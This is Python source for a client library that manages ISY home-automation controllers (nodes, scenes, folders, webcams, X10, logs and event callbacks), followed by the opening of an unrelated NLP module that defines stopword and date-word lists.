# if evnt_dat['action'] == '1':
# if 'ZBNetwork' in evnt_dat['eventInfo']:
# self.zigbee['network'] = evnt_dat['eventInfo']['ZBNetwork']
# elif evnt_dat['action'] == '10':
# if 'MeterFormat' in evnt_dat['eventInfo']:
# self.zigbee['MeterFormat'] = evnt_dat['eventInfo']['MeterFormat']
#
elif evnt_dat["control"] == "_13" : # External Energy Monitoring Events
pass
elif evnt_dat["control"] == "_14" : # UPB Linker Events
pass
elif evnt_dat["control"] == "_15" : # UPB Device Adder State
pass
elif evnt_dat["control"] == "_16" : # UPB Device Status Events
pass
elif evnt_dat["control"] == "_17" : # Gas Meter Events
pass
elif evnt_dat["control"] == "_18" : # Zigbee Events
pass
elif evnt_dat["control"] == "_19" : # Elk Events
pass
# if evnt_dat["action"] == "6":
# if 'se" in evnt_dat['eventInfo']:
# if evnt_dat['eventInfo']['se']['se-type'] == '156':
# print "Elk Connection State : ", evnt_dat['eventInfo']['se']['se-val']
# elif evnt_dat['eventInfo']['se']['se-type'] == '157':
# print "Elk Enable State : ", evnt_dat['eventInfo']['se']['se-val']
elif evnt_dat["control"] == "_20" : # Device Linker Events
pass
else:
if (self.debug & 0x40):
print(("evnt_dat :", evnt_dat))
print(("Event fall though : '{0}'".format(evnt_dat["node"])))
if self.callbacks != None:
call_targ = None
if event_targ in self.callbacks:
call_targ = event_targ
elif evnt_dat["control"] in self.callbacks:
call_targ = evnt_dat["control"]
if call_targ != None:
cb = self.callbacks[call_targ]
if isinstance(cb[0], collections.Callable):
try:
cb[0](evnt_dat, *cb[1])
except Exception as e:
print("e=",e)
print("sys.exc_info()=",sys.exc_info())
print(("Callback Error:", sys.exc_info()[0]))
else:
warn("callback for {!s} not callable, deleting callback".format(call_targ),
IsyRuntimeWarning)
del self.callbacks[call_targ]
return
def _format_val(self, vs):
try:
if isinstance(vs, dict):
if "#val" in vs:
v = int(vs["#val"])
else:
return None
else:
v = int(vs)
except ValueError:
return "0"
else:
if ( v == 0):
return "off"
elif v == 255:
return "on"
else:
return str ( (int(v)*100) // 255)
def addnode(self, id=None, nname=None, ntype=None, flag="0"):
"""
Adds a predefined node for a device with a given address
args:
id
nname
ntype
flag
"""
if nname is None:
nname = id
if id is None:
raise IsyValueError("invalid node id : " + type)
if type is None:
raise IsyValueError("invalid node type : " + type)
return self.soapcomm("AddNode", id=id, name=nname, type=ntype, flag=flag)
def getsystemdatetime(self):
"""
timestamp of when ISY was last started
"""
r = self.soapcomm("GetSystemDateTime")
return (r)
def startuptime(self):
"""
timestamp of when ISY was last started
"""
r = self.soapcomm("GetStartupTime")
return (r)
def webcam_get(self):
"""
get webcam list avalible in ISY's ajax web UI
returns dict
"""
#campath="/WEB/CONF/cams.jsn"
r = self.soapcomm("GetSysConf", name="/WEB/CONF/cams.jsn")
return json.loads(r)
def webcam_add(self, brand=None, num=None, ip=None, model='1', name=None, passwd='', port='80', user=''):
"""
Add webcam to UI
args:
brand brand of cam (one of : Foscam Smarthome Axis Panasonic MJPGstreamer)
ip IP of cam
port TCP port for cam (default = 80)
model
name
user
passwd
"""
if not ( brand is None) and (brand.lower() not in ["foscam", "smarthome", "axis", "panasonic", "mjpgstreamer"]):
raise IsyValueError("webcam_add : invalid value for arg 'brand' ")
else:
brand = brand.lower()
if ip is None:
raise IsyValueError("webcam_add : invalid ip")
if name is None:
name = brand
camlist = self.webcam_get()
if 'lastId' in camlist:
maxid = int( camlist['lastId']) + 2
else:
maxid = camlist.__len__() + 2
if num is None:
for i in range(1, maxid):
if str(i) not in camlist:
num = str(i)
break
else:
raise RuntimeError( "webcam_add : failed cam index")
elif isinstance(num, int):
num = str(num)
if self.debug & 0x100:
print("using num : ", num)
newcam = {'brand': brand, 'ip': ip, 'model': model, 'name': name, 'pass': passwd, 'port': port, 'user': user}
camlist[num] = newcam
if self.debug & 0x100:
print("webcam_add : ", end=' ')
pprint.pprint(camlist)
if num > camlist['lastId']:
if self.debug & 0x100:
print("new lastId = ", num, ":", camlist['lastId'])
camlist['lastId'] = num
return self._webcam_set(camlist)
def webcam_del(self, camid=None):
"""
delete an entery from UI's webcam list
arg:
camid index for camera in camlist
"""
if camid is None:
raise IsyValueError("webcam_del : arg camid is None")
camlist = self.webcam_get()
if self.debug & 0x100:
pprint.pprint(camlist)
if isinstance(camid, int):
camid = str(camid)
if camid not in camlist:
raise IsyValueError("webcam_del : invalid camid")
del camlist[camid]
if 'lastId' in camlist:
maxid = int( camlist['lastId']) + 2
else:
maxid = camlist.__len__() + 2
lastid = -1
for i in range(1, maxid):
if str(i) in camlist and lastid < i:
lastid = i
camlist['lastId'] = str(lastid)
return self._webcam_set(camlist)
def _webcam_set(self, camdict=None):
if camdict is None:
raise IsyValueError("_webcam_set : arg camdict invalid")
camjson = json.dumps(camdict, sort_keys=True)
r = self._sendfile(data=camjson, filename="/WEB/CONF/cams.jsn", load="n")
return r
def set_debug_level(self, level=1):
"""
Sets the debug options and current level
args:
option value 0 -> 3
"""
ret = self.soapcomm("SetDebugLevel", option=level)
return ret
def get_debug_level(self, level=1):
"""
Gets the debug options and current level
"""
ret = self.soapcomm("GetDebugLevel",)
return ret
def node_discover_start(self, nodetype=None):
soapargs = dict()
if nodetype is not None:
soapargs['type'] = nodetype
ret = self.soapcomm("StartNodesDiscovery", **soapargs)
return ret
def node_discover_stop(self, flag="1"):
"""
Puts ISY out of discovery (linking) mode
The flag decides the operations (reset, crawl, spider)
to be performed after device(s) are discovered
args:
NodeOperationsFlag enum value '1', '2', '3' or '4'
Valid values
1 = add the node and reset all previous setting if any
2 = unused
3 = add the node, find all the associated nodes, and create all the linkages thereto
4 = add the node, find all the associated nodes, but do not create any linkages
"""
flag = str(flag)
if flag not in ['1', '2', '3', '4']:
raise IsyValueError("invalid flag value : " + flag)
# if code == 501 then device was alread not in link/Discovery mode
ret = self.soapcomm("CancelNodesDiscovery", flag=flag)
return ret
# def node_get_props(self, naddr):
# """"
# Soap call GetNodeProps
# """
# (nodetype, node_id) = self._node_get_id(naddr)
#
# if self.debug & 0x04:
# print("node_get_props", naddr)
#
# if not node_id:
# raise LookupError(
# "node_del: {0} not a node ( {1}={2} )".format(
# naddr, node_id, nodetype))
#
# try:
# r = self.soapcomm("GetNodeProps", node=node_id)
# except IsySoapError, se:
#
# # if error code is 404 then Node did not exist or was already deleted
# # this is messy and needs to change or be removed
# code = se.code()
# if code == 404:
# return None
# raise
# else:
# return et2d( ET.fromstring(r))
#
# need to add code to update name2id and *2addr lookup arrays
#
def rename(self, objid, nname):
""" rename
args:
id = Node/Scene/Folder name or ID
name = new name
calls SOAP RenameNode() / RenameGroup() / RenameFolder()
"""
(idtype, nid) = self._node_get_id(objid)
if nid is None:
raise IsyValueError("unknown node/obj : " + objid)
if idtype == "node":
return self.soapcomm("RenameNode", id=nid, name=nname)
elif idtype == "group":
return self.soapcomm("RenameGroup", id=fid, name=nname)
elif idtype == "folder":
return self.soapcomm("RenameFolder", id=fid, name=nname)
elif idtype == "var":
# return self.var_rename(var=nid, name=nname)
raise IsyValueError("can not rename var, use var_rename() ")
elif idtype == "prog":
raise IsyValueError("can not rename prog use prog_rename() ")
else:
raise IsyValueError("node/obj " + objid + " not node (" + idtype + ")" )
#
# need to add code to update name2id and *2addr lookup arrays
#
def node_rename(self, nodeid, nname):
""" rename Node
args:
id = Node ID
name = new Node name
calls SOAP RenameNode()
"""
(idtype, nid) = self._node_get_id(nodeid)
if nid is None:
raise IsyValueError("unknown node/obj : " + nodeid)
print("nodeid ", nodeid)
print("nid ", nid)
return self.soapcomm("RenameNode", id=nid, name=nname)
# def node_new(self, sid, nname):
# """ create new Folder """
# return self.soapcomm("AddNode", id=1234, name=nname, type="T", flag="Y")
## scene
#
# need to add code to update name2id and *2addr lookup arrays
#
def scene_rename(self, sid, fname):
""" rename Scene/Group
args:
sid = a Scene/Group id
name = new name
calls SOAP RenameGroup()
"""
(idtype, grid) = self._node_get_id(sid)
return self.soapcomm("RenameGroup", id=grid, name=fname)
#
# need to add code to update name2id and *2addr lookup arrays
#
def scene_del(self, sid=None):
""" delete Scene/Group
args:
id : Scene address, name or Folder Obj
calls SOAP RemoveGroup()
"""
(idtype, sceneid) = self._node_get_id(sid)
if sceneid is None:
raise IsyValueError("no such Scene : " + str(sid))
#
# add code to update self._nodegroups
#
return self.soapcomm("RemoveGroup", id=sceneid)
#
# need to add code to update name2id and *2addr lookup arrays
#
def scene_new(self, nid=0, sname=None):
""" new Scene/Group
args:
id = a unique (unused) Group ID
name = name for new Scene/Group
***No error is given if Scene/Group ID is already in use***
calls SOAP AddGroup()
"""
if not isinstance(sname, str) or not len(sname):
raise IsyValueError("scene name must be non zero length string")
if nid == 0:
iid = 30001
nid = str(iid)
while nid in self._nodefolder or nid in self._nodegroups:
iid += 1
nid=str(iid)
if sname is None:
sname = nid
self.soapcomm("AddGroup", id=nid, name=sname)
#
# add code to update self._nodegroups
#
return nid
def scene_add_node(self, groupid, nid, nflag=0x10):
""" add node to Scene/Group
args:
group = a unique (unused) scene_id ID
node = id, name or Node Obj
flag = set to 0x10 if node is a controler for Scene/Group
set to 0x20 if node is responder for Scene/Group
Add new Node to Scene/Group
calls SOAP MoveNode()
"""
(idtype, nodeid) = self._node_get_id(nid)
if nodeid is None:
raise IsyValueError("no such Node : " + str(nid))
r = self.soapcomm("MoveNode", group=groupid, node=nodeid, flag=nflag)
return r
def scene_del_node(self, groupid, nid):
""" Remove Node from Scene/Group
args:
group = address, name or Scene Obj
id = address, name or Node Obj
calls SOAP RemoveFromGroup()
"""
(idtype, nodeid) = self._node_get_id(nid)
if nodeid is None:
raise IsyValueError("no such Node : " + str(nid))
r = self.soapcomm("RemoveFromGroup", group=groupid, id=nodeid)
return r
## folder
#
# need to add code to update name2id and *2addr lookup arrays
#
def folder_rename(self, fid, fname):
""" rename Folder
args:
id = folder ID
name = new folder name
calls SOAP RenameFolder()
"""
(idtype, fid) = self._node_get_id(fid)
r = self.soapcomm("RenameFolder", id=fid, name=fname)
return r
def folder_new(self, fid, fname):
""" create new Folder
args:
folder_id = a unique (unused) folder ID
folder name = name for new folder
returns error if folder ID is already in use
calls SOAP AddFolder()
"""
if fid == 0:
iid = 50001
fid = str(iid)
while fid in self._nodefolder or fid in self._nodegroups:
iid += 1
fid = str(iid)
r = self.soapcomm("AddFolder", fid=1234, name=fname)
if isinstance(r, tuple) and r[0] == '200':
self._nodefolder[fid] = dict()
self._nodefolder[fid]['address'] = fid
self._nodefolder[fid]['folder-flag'] = '0'
self._nodefolder[fid]['name'] = 'fname'
return r
def folder_del(self,fid):
""" delete folder
args:
fid : folder address, name or Folder Obj
calls SOAP RemoveFolder()
"""
(idtype, fid) = self._node_get_id(fid)
if fid is None:
raise IsyValueError("Unknown Folder : " + str(fid))
r = self.soapcomm("RemoveFolder", id=fid)
if isinstance(r, tuple) and r[0] == '200':
self._nodefolder[fid] = dict()
# SetParent(node, nodeType, parent, parentType)
def folder_add_node(self, nid, nodeType=1, parent="", parentType=3):
""" move node/scene from folder
Named args:
node
nodeType
parent
parentType
sets Parent for node/scene
calls SOAP SetParent()
"""
(idtype, nodeid) = self._node_get_id(nid)
if nodeid is None:
raise IsyValueError("no such Node/Scene : " + str(nid))
if parent != "":
(idtype, fldid) = self._node_get_id(parent)
if fldid is None:
raise IsyValueError("no such Folder : " + str(parent))
parentid = fldid
else:
parentid = parent
r = self.soapcomm("SetParent", node=nodeid, nodeType=nodeType, parent=parentid, parentType=parentType)
return r
def folder_del_node(self, nid, nodeType=1):
""" remove node from folder
args:
node
nodeType
remove node/scene from folder ( moves to default/main folder)
calls SOAP SetParent()
"""
return self.folder_add_node(nid, nodeType=nodeType, \
parent="", parentType=3)
def set_user_credentials(self, name=None, password=None):
"""
Changes the userid and password for a user ( admin )
args:
name user name
password user password
"""
if name is None:
raise IsyValueError("set_user_credentials : name argument required ")
if password is None:
raise IsyValueError("set_user_credentials : pass argument required ")
return self.soapcomm("SetUserCredentials", name=name, password=password)
def reboot(self):
""" Reboot ISY Device
args: none
calls SOAP Reboot()
"""
return self.soapcomm("Reboot")
#
# User web commands
#
def user_fsstat(self):
""" ISY Filesystem Status
calls SOAP GetFSStat()
"""
r = self.soapcomm("GetFSStat")
return et2d( ET.fromstring(r))
def user_dir(self, name="", pattern=""):
""" Get User Folder/Directory Listing
Named args:
name
pattern
call SOAP GetUserDirectory()
"""
r = self.soapcomm("GetUserDirectory", name=name, pattern=pattern)
# print "GetUserDirectory : ", r
return et2d( ET.fromstring(r))
def user_mkdir(self, name=None):
""" Make new User Folder/Directory
Named args:
name
call SOAP MakeUserDirectory()
"""
if name is None:
raise IsyValueError("user_mkdir : invalid dir name")
if name[0] != "/":
name = "/USER/WEB/" + name
r = self.soapcomm("MakeUserDirectory", name=name)
return et2d( ET.fromstring(r))
def user_rmdir(self, name=None):
""" Remove User Folder/Directory
Named args:
name
call SOAP RemoveUserDirectory()
"""
if name is None:
raise IsyValueError("user_rmdir : invalid dir name")
name = name.rstrip('/')
if name[0] != "/":
name = "/USER/WEB/" + name
r = self.soapcomm("RemoveUserDirectory", name=name)
return et2d( ET.fromstring(r))
def user_mv(self, name=None, newName=None):
""" Move/Rename User Object (File or Directory)
Named args:
oldn
newn
call SOAP MoveUserObject()
"""
if name is None or newName is None:
raise IsyValueError("user_mv : invalid name")
if name[0] != "/":
name = "/USER/WEB/" + name
if newName[0] != "/":
newName = "/USER/WEB/" + newName
r = self.soapcomm("MoveUserObject", name=name, newName=newName)
return r
def user_rm(self, name=None):
""" Remove User File
Named args:
name
call SOAP RemoveUserFile()
"""
if name is None:
raise IsyValueError("user_mkdir : invalid name")
if name[0] != "/":
name = "/USER/WEB/" + name
r = self.soapcomm("RemoveUserFile", name=name)
return(r)
def user_getfile(self, name=None):
""" Get User File
Named args:
name
call SOAP GetUserFile()
"""
if not len(name):
raise IsyValueError("user_getfile : invalid name")
if name[0] != "/":
name = "/USER/WEB/" + name
r = self.soapcomm("GetUserFile", name=name)
return r
def user_uploadfile(self, srcfile="", name=None, data=""):
""" upload User File
Named args:
name : name of file after upload
data : date to upload
srcfile : file containing data to upload
srcfile is use only if data is not set
if both data & srcfile are not set then
the file "name" is used
calls /file/upload/...
"""
if name is None:
raise IsyValueError("user_uploadfile : invalid name")
r = self.sendfile(src=srcfile, filename=name, data=data)
return r
def queryall(self, node=None, flag=None):
"""
Queries a node, a scene, or even the whole network
Named args:
node : name of node or scene to query (optional)
flag : enum { '1', '4', '8' }
"""
soapargs = dict()
if node is not None:
soapargs['node'] = ntype
if flag is not None:
soapargs['flag'] = flag
r = self.soapcomm("QueryAll", **soapargs)
#
# Util Funtions
#
def _preload(self, rload=0):
""" Internal function
preload all data tables from ISY device into cache
normally this is done "on demand" as needed
"""
if rload or not self.controls:
self.load_conf()
if rload or not self._nodedict:
self.load_nodes()
# self._gen_member_list()
# if rload or not self.climateinfo:
# self.load_clim()
if rload or not self._vardict:
self.load_vars()
if rload or not self._progdict:
self.load_prog()
# if rload or not self._wolinfo:
#self.load_wol()
if rload or not self._nodeCategory:
self.load_node_types()
def _savedict(self):
""" internal debug command """
self._preload()
# self._writedict(self._wolinfo, "wolinfo.txt")
self._writedict(self._nodedict, "nodedict.txt")
self._writedict(self._nodegroups, "nodegroups.txt")
self._writedict(self._nodefolder, "folderlist.txt")
self._writedict(self._vardict, "vardict.txt")
# self._writedict(self.climateinfo, "climateinfo.txt")
self._writedict(self.controls, "controls.txt")
self._writedict(self._progdict, "progdict.txt")
self._writedict(self._nodeCategory, "nodeCategory.txt")
##
## Load System config / info and command information
##
def load_conf(self):
""" Load configuration of the system with permissible commands
args : none
internal function call
"""
if self.debug & 0x01:
print("load_conf")
configinfo = self._getXMLetree("/rest/config")
# Isy._printXML(configinfo)
# IsyCommunicationError
if configinfo is None:
raise IsyCommunicationError("Load Configuration Fail : " \
+ self.error_str)
self.name2control = dict()
self.controls = dict()
for ctl in configinfo.iter('control'):
# self._printXML(ctl)
# self._printinfo(ctl, "configinfo : ")
cprop = dict()
for child in list(ctl):
# print("child.tag " + str(child.tag) + "\t=" + str(child.text))
if child.tag == "actions":
adict = dict()
for act in child.iter('action'):
n = act.find('label').text
v = act.find('name').text
adict[n] = v
cprop[child.tag] = adict
else:
# self._printinfo(child, "child")
cprop[child.tag] = child.text
for n, v in list(child.items()):
cprop[n] = v
# print("cprop ", cprop)
if "name" in cprop:
self.controls[cprop["name"].upper()] = cprop
if "label" in cprop:
self.name2control[cprop["label"].upper()] \
= cprop["name"].upper()
self.config = dict()
for v in ( "platform", "app_version", "driver_timestamp",
"app", " build_timestamp"):
n = configinfo.find(v)
if n is not None:
if isinstance(n.text, str):
self.config[v] = n.text
n = configinfo.find("root/id")
if n is not None:
if isinstance(n.text, str):
self.config['id'] = n.text
xelm = configinfo.find("product/id")
if xelm is not None:
if hasattr(xelm, 'text'):
self.config["product_id"] = xelm.text
# print("self.controls : ", self.controls)
#self._printdict(self.controls)
#print("self.name2control : ", self.name2control)
def _get_control_id(self, comm):
""" command name to command ID """
if not self.controls:
self.load_conf()
c = comm.strip().upper()
if c in self.controls:
return c
if c in self.name2control:
return self.name2control[c]
return None
##
## property
##
def _get_platform(self):
""" name of ISY platform (readonly) """
return self.config["platform"]
platform = property(_get_platform)
def _get_id(self):
""" id of ISY (readonly) """
return self.config["id"]
id = property(_get_id)
def _get_app_version(self):
""" name of ISY app_version (readonly) """
return self.config["app_version"]
app_version = property(_get_app_version)
# def _get_debug(self):
# """ debug flag for Obj """
# return self._debug
# def _set_debug(self, val):
# self._debug = val
# debug = property(_get_debug,_set_debug)
##
## Logs
##
def load_log_type(self):
""" load log type tables
args: None
**not implemented **
"""
if self.debug & 0x01:
print("load_log_type")
pass
def load_log_id(self):
""" load log id tables
**not implemented **
"""
if self.debug & 0x01:
print("load_log_id")
pass
def log_reset(self, errorlog = 0):
""" clear log lines in ISY
args:
errorlog = flag clear error
"""
self.log_query(errorlog, 1)
def log_iter(self, error = 0):
""" iterate though log lines
args:
error : return error logs or now
returns:
Return an iterator log enteries
"""
for l in self.log_query(error):
yield l
def log_query(self, errorlog = 0, resetlog = 0):
""" get log from ISY """
xurl = self.baseurl + "/rest/log"
if errorlog:
xurl += "/error"
if resetlog:
xurl += "?reset=true"
if self.debug & 0x02:
print(("xurl = " + xurl))
req = URL.Request(xurl)
try:
res = self._opener.open(req)
except URL.URLError as e:
# Error log can return a 404 is there are not logs ( yet )
return [ ]
else:
data = res.read()
res.close()
return data.splitlines()
def log_format_line(self, line):
""" format a ISY log line into a more human readable form
** not implemented **
"""
pass
##
## X10 Code
##
_x10re = re.compile('([a-pA-P]\d{,2)')
_x10comm = { 'alllightsoff' : 1,
'status off' : 2,
'on' : 3,
'Preset dim' : 4,
'alllightson' : 5,
'hail ack' : 6,
'bright' : 7,
'status on' : 8,
'extended code' : 9,
'status request' : 10,
'off' : 11,
'preset dim' : 12,
'alloff' : 13,
'Hail Req' : 14,
'dim' : 15,
'extended data' : 16 }
def _get_x10_comm_id(self, comm):
""" X10 command name to id """
comm = str(comm).strip().lower()
if comm.isdigit():
if int(comm) >= 1 and int(comm) <= 16:
return comm
else:
raise IsyValueError("bad x10 command digit : " + comm)
if comm in self._x10comm:
return self._x10comm[comm]
else:
raise IsyValueError("unknown x10 command : " + comm)
def x10_comm(self, unit, cmd):
""" direct send x10 command """
xcmd = self._get_x10_comm_id(str(cmd))
unit = unit.strip().upper()
if not re.match("[A-P]\d{,2}", unit):
raise IsyValueError("bad x10 unit name : " + unit)
# print("X10 sent : " + str(unit) + " : " + str(xcmd))
xurl = "/rest/X10/" + str(unit) + "/" + str(xcmd)
if self.debug & 0x02 : print(("xurl = " + xurl))
resp = self._getXMLetree(xurl)
#self._printXML(resp)
#self._printinfo(resp)
if resp.attrib["succeeded"] != 'true':
raise IsyResponseError("X10 command error : unit=" + str(unit) + " cmd=" + str(cmd))
# /rest/time
# Returns system time
#
#/rest/network
# Returns network configuration
# /rest/sys
# returns system configuration
#
# /rest/subscriptions
# Returns the state of subscriptions
def subscriptions(self):
""" get event subscriptions list and states
args: none
Returns the state of subscriptions
calls : /rest/subscriptions
"""
xurl = "/rest/subscriptions"
if self.debug & 0x02 : print(("xurl = " + xurl))
resp = self._getXMLetree(xurl)
#self._printXML(resp)
return et2d(resp)
def network(self):
""" network configuration
args: none
Returns network configuration
calls /rest/network
"""
xurl = "/rest/network"
if self.debug & 0x02 : print(("xurl = " + xurl))
resp = self._getXMLetree(xurl)
#self._printXML(resp)
return et2d(resp)
def sys(self):
""" system configuration
args: none
calls : /rest/sys
"""
xurl = "/rest/sys"
if self.debug & 0x02 : print(("xurl = " + xurl))
resp = self._getXMLetree(xurl)
#self._printXML(resp)
return et2d(resp)
def time(self):
""" system time of ISY
args: none
calls : /rest/time
"""
xurl = "/rest/time"
resp = self._getXMLetree(xurl)
#self._printXML(resp)
return et2d(resp)
def batch(self, on=-1):
""" Batch mode
args values:
1 = Turn Batch mode on
0 = Turn Batch mode off
-1 or None = Return Batch mode status
calls /rest/batteryPoweredWrites/
"""
xurl = "/rest/batteryPoweredWrites/"
if on == 0:
xurl += "/off"
elif on == 1:
xurl += "/on"
if self.debug & 0x02 : print(("xurl = " + xurl))
resp = self._getXMLetree(xurl)
if resp is None:
print('The server couldn\'t fulfill the request.')
raise IsyResponseError("Batch")
else:
#self._printXML(resp)
return resp
#/rest/batterypoweredwrites
def batterypoweredwrites(self, on=-1):
""" Battery Powered Writes
args values:
1 = Turn Batch mode on
0 = Turn Batch mode off
-1 or None = Return Batch mode status
returns status of Battery Powered device operations
calls /rest/batteryPoweredWrites/
"""
xurl = "rest/batteryPoweredWrites/"
if on == 0:
xurl += "/off"
elif on == 1:
xurl += "/on"
if self.debug & 0x02 : print(("xurl = " + xurl))
resp = self._getXMLetree(xurl)
if resp != None:
#self._printXML(resp)
return et2d(resp)
def electricity(self):
"""
electricity status
args: none
Returns electricity module info, "Energy Monitor",
"Open ADR" and "Flex Your Power" status
Only applicable to 994 Z Series.
calls: /rest/electricity
"""
xurl = "/rest/electricity"
if self.debug & 0x02:
print(("xurl = " + xurl))
resp = self._getXMLetree(xurl)
if resp != None:
#self._printXML(resp)
return et2d(resp)
##
## Callback functions
##
def callback_set(self, nid, func, *args):
"""set a callback function for a Node
args:
node id
referance to a function
* arg list
Sets up a callback function that will be called whenever there
is a change event for the specified node
Only one callback per node is supported,
If a callback funtion is already registared for
node or var id it will be replaced
requires IsyClass option "eventupdates" to to set
"""
if not isinstance(func, collections.Callable):
raise IsyValueError("callback_set : Invalid Arg, function not callable")
# func.__repr__()
if self.callbacks is None:
self.callbacks = dict()
(idtype, nodeid) = self._node_get_id(nid)
if nodeid is None:
# raise LookupError("no such Node : " + str(nodeid) )
self.callbacks[nid] = (func, args)
else:
self.callbacks[nodeid] = (func, args)
def callback_get(self, nid):
"""get a callback funtion for a Nodes
args:
node id
returns referance to registared callback function for a node
no none exist then value "None" is returned
"""
if self.callbacks != None:
(idtype, nodeid) = self._node_get_id(nid)
if nodeid != None and nodeid in self.callbacks:
return self.callbacks[nodeid]
return None
def callback_del(self, nid):
"""delete a callback funtion
args:
node id
delete a callback funtion for a Node, if exists.
no error is raised if callback does not exist
"""
if self.callbacks != None:
(idtype, nodeid) = self._node_get_id(nid)
if nodeid != None and nodeid in self.callbacks:
del self.callbacks[nodeid]
##
## support functions
##
def _printinfolist(self, uobj, ulabel="_printinfo"):
print(("\n\n" + ulabel + " : "))
for attr in dir(uobj):
print((" obj.%s = %s" % (attr, getattr(uobj, attr))))
print("\n\n")
##
## the following are obj independent get methods
##
#
# Untested
#
def gettype(self, nobj):
if isinstance(nobj, IsySubClass):
return nobj.objtype()
(idtype, nid) = self._node_get_id(nobj)
return(idtype)
#
# Untested
#
def getid(self, objaddr):
(idtype, nid) = self._node_get_id(objaddr)
return(nid)
#
# Untested
#
def getobj(self, objaddr):
""" access node obj line a dictionary entery """
(idtype, nid) = self._node_get_id(objid)
if nid is None:
raise IsyValueError("unknown node/obj : " + objid)
if nid in self.nodeCdict:
return self.nodeCdict[nid]
if idtype in ['node', 'group', 'folder']:
return self.get_node(nid)
elif idtype == "var":
return self.get_var(nid)
elif idtype == "prog":
return self.get_prog(nid)
else:
raise IsyValueError("don't know how to get obj for type : " + idtype)
##
## Special Methods
##
# Design question:
# __get/setitem__ returns a node obj ?
def __getitem__(self, nodeaddr):
""" access node obj line a dictionary entery """
if nodeaddr in self.nodeCdict:
return self.nodeCdict[str(nodeaddr)]
else:
return self.get_node(nodeaddr)
def __setitem__(self, nodeaddr, val):
""" This allows you to set the status of a Node by
addressing it as dictionary entery """
val = int(val)
if val > 0:
self.node_comm(nodeaddr, "DON", val)
else:
self.node_comm(nodeaddr, "DOF")
def __delitem__(self, nodeaddr):
raise IsyPropertyError("__delitem__ : can't delete nodes : " + str(nodeaddr) )
def __iter__(self):
""" iterate though Node Obj (see: node_iter() ) """
return self.node_iter()
def __del__(self):
if self.debug & 0x80:
print("__del__ ", self.__repr__())
#if isinstance(self._isy_event, ISYEvent):
# #ISYEvent._stop_event_loop()
if hasattr(self, "_isy_event"):
if hasattr(self._isy_event, "_shut_down"):
self._isy_event._shut_down = 1
if hasattr(self, "nodeCdict" ):
self.nodeCdict.clear()
if hasattr(self, "varCdict" ):
self.varCdict.clear()
if hasattr(self, "progCdict" ):
self.progCdict.clear()
if hasattr(self, "folderCdict" ):
self.folderCdict.clear()
# the reasion for this is that
#for k in self.nodeCdict.keys():
# del self.nodeCdict[k]
#for k in self.varCdict.keys():
# del self.varCdict[k]
#for k in self.progCdict.keys():
# del self.progCdict[k]
#for k in self.folderCdict.keys():
# del self.folderCdict[k]
def __repr__(self):
return "<Isy %s at 0x%x>" % (self.addr, id(self))
# def debugerror(self):
# print("debugerror")
# raise IsyPropertyError("debugerror : test IsyPropertyError ")
def _printdict(self, dic):
""" Pretty Print dictionary """
print("===START===")
pprint.pprint(dic)
print("===END===")
def _writedict(self, d, filen):
""" Pretty Print dict to file """
with open(filen, 'w') as fi:
pprint.pprint(d, fi)
def IsyGetArg(lineargs):
"""
takes argv and extracts name/pass/ipaddr options
"""
# print "IsyGetArg ", lineargs
addr=""
upass=""
uname=""
i = 0
while i < len(lineargs):
#print "len = ", len(lineargs)
#print "lineargs =", lineargs
#print "check :", i, ":", lineargs[i],
if lineargs[i] in ['--isyaddress', '-isyaddress', '--isyaddr' '-isyaddr']:
lineargs.pop(i)
addr = lineargs.pop(i)
continue
elif lineargs[i] in ['--isypass', '-isypass']:
lineargs.pop(i)
upass = lineargs.pop(i)
continue
elif lineargs[i] in ['--isyuser', '-isyuser']:
lineargs.pop(i)
uname = lineargs.pop(i)
continue
i += 1
# if not addr:
# addr = os.getenv('ISY_ADDR', "isy")
# if not uname:
# userl = os.getenv('ISY_USER', "admin")
# if not upass:
# userp = os.getenv('ISY_PASS', "admin")
return(addr, uname, upass)
def log_time_offset():
""" calculates time format offset used in ISY event logs to localtime format """
lc_time = time.localtime()
gm_time = time.gmtime()
return ((lc_time[3]) - (gm_time[3] - gm_time[8])) * 60 * 60
# index 3 represent the hours
# index 8 represent isdst (daylight saving time boolean (0/1))
#
# Do nothing
# (syntax check)
#
if __name__ == "__main__":
import __main__
print((__main__.__file__))
print("syntax ok")
exit(0)
|
SatadishaModule_final_trie.py |
# coding: utf-8
# In[298]:
import sys
import re
import string
import csv
import random
import time
#import binascii
#import shlex
import numpy as np
import pandas as pd
from itertools import groupby
from operator import itemgetter
from collections import Iterable, OrderedDict
from nltk.tokenize import sent_tokenize, word_tokenize
from nltk.corpus import stopwords
from scipy import stats
#from datasketch import MinHash, MinHashLSH
import NE_candidate_module as ne
import NE_candidate_module as ne
import Mention
import threading, queue
import time
import datetime
import copy
import trie as trie
# In[324]:
#---------------------Existing Lists--------------------
cachedStopWords = stopwords.words("english")
tempList=["i","and","or","other","another","across","were","you","then","still","is","while","till","nor","perhaps","otherwise","until","sometimes","sometime","seem","cannot","seems","because","can","like","into","able","unable","either","neither","if","we","it","else","elsewhere","how","not","what","who","when","where","where's","where’s","where'd","where’d","where'll","where’ll","who's","who’s","he's","he’s","he’d","he'd","she's","she’s","she’d","she'd","let","today","tomorrow","tonight","let's","let’s","lets","know","make","oh","via","i","yet","must","mustnt","mustn't","mustn’t","i'll","i’ll","you'll","you’ll","we'll","we’ll","done","doesnt","doesn't","doesn’t","dont","don't","don’t","did","didnt","didn't","didn’t","much","without","could","couldn't","couldn’t","would","wouldn't","wouldn’t","should","shouldn't","shouldn’t","shall","isn't","isn’t","hasn't","hasn’t","was","wasn't","wasn’t","also","let's","let’s","let","well","just","everyone","anyone","noone","none","someone","theres","there's","there’s","everybody","nobody","somebody","anything","else","elsewhere","something","nothing","everything","i'd","i’d","i’m","won't","won’t","i’ve","i've","they're","they’re","we’re","we're","we'll","we’ll","we’ve","we've","they’ve","they've","they’d","they'd","they’ll","they'll","again","you're","you’re","you've","you’ve","thats","that's",'that’s','here’s',"here's","what's","what’s","i’m","i'm","a","so","except","arn't","aren't","arent","this","when","it","it’s","it's","he's","she's","she'd","he'd","he'll","she'll","she’ll","many","can't","cant","can’t","werent","weren't","were’t","even","yes","no","these","here","there","to","maybe","<hashtag>","<hashtag>.","ever","every","never","there's","there’s","whenever","wherever","however","whatever","always"]
prep_list=["in","at","of","on","with","by","&;"] #includes common conjunction as well
article_list=["a","an","the"]
day_list=["sunday","monday","tuesday","wednesday","thursday","friday","saturday","mon","tues","wed","thurs","fri","sat","sun"]
month_list=["january","february","march","april","may","june","july","august","september","october","november","december","jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec"]
for item in tempList:
if item not in cachedStopWords:
cachedStopWords.append(item)
